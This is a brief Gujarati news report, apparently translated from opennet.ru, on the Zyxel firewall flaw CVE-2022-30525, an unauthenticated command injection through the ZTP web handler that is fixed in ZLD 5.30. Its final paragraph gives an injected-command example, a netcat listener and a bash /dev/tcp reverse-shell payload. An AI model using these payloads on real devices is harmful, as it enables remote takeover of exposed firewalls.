Zyxel ફાયરવૉલ્સમાં નબળાઈ જે પ્રમાણીકરણ વિના કોડ એક્ઝેક્યુશનની મંજૂરી આપે છે

ATP, VPN અને USG FLEX શ્રેણીના Zyxel ઉપકરણોમાં નિર્ણાયક નબળાઈ (CVE-2022-30525) ઓળખવામાં આવી છે, જે એન્ટરપ્રાઇઝમાં ફાયરવોલ, IDS અને VPNના સંચાલનને ગોઠવવા માટે રચાયેલ છે, જે બાહ્ય હુમલાખોરને કોડ પર કોડ ચલાવવાની મંજૂરી આપે છે. પ્રમાણીકરણ વિના વપરાશકર્તા અધિકારો વિનાનું ઉપકરણ. હુમલો કરવા માટે, હુમલાખોર HTTP/HTTPS પ્રોટોકોલનો ઉપયોગ કરીને ઉપકરણ પર વિનંતીઓ મોકલવા માટે સક્ષમ હોવા જોઈએ. Zyxel એ ZLD 5.30 ફર્મવેર અપડેટમાં નબળાઈને ઠીક કરી છે. શોદાન સેવા અનુસાર, વૈશ્વિક નેટવર્ક પર હાલમાં 16213 સંભવિત રૂપે નબળા ઉપકરણો છે જે HTTP/HTTPS દ્વારા વિનંતીઓ સ્વીકારે છે.

ઑપરેશન વેબ હેન્ડલર /ztp/cgi-bin/હેન્ડલરને ખાસ ડિઝાઇન કરેલા આદેશો મોકલીને હાથ ધરવામાં આવે છે, જે પ્રમાણીકરણ વિના સુલભ છે. lib_wan_settings.py લાઇબ્રેરીમાં વપરાયેલ os.system કૉલનો ઉપયોગ કરીને સિસ્ટમ પર આદેશો ચલાવતી વખતે અને setWanPortSt ઑપરેશનની પ્રક્રિયા કરતી વખતે એક્ઝિક્યુટ કરતી વખતે વિનંતી પરિમાણોની યોગ્ય સફાઈના અભાવને કારણે સમસ્યા ઊભી થાય છે.

ઉદાહરણ તરીકે, હુમલાખોર શબ્દમાળા પસાર કરી શકે છે “; પિંગ 192.168.1.210;" જે સિસ્ટમ પર "ping 192.168.1.210" આદેશના અમલ તરફ દોરી જશે. કમાન્ડ શેલમાં પ્રવેશ મેળવવા માટે, તમે તમારી સિસ્ટમ પર “nc -lvnp 1270” ચલાવી શકો છો, અને પછી ઉપકરણને વિનંતી મોકલીને '; bash -c \»exec bash -i &>/dev/tcp/192.168.1.210/1270 <&1;\»;'.

સોર્સ: opennet.ru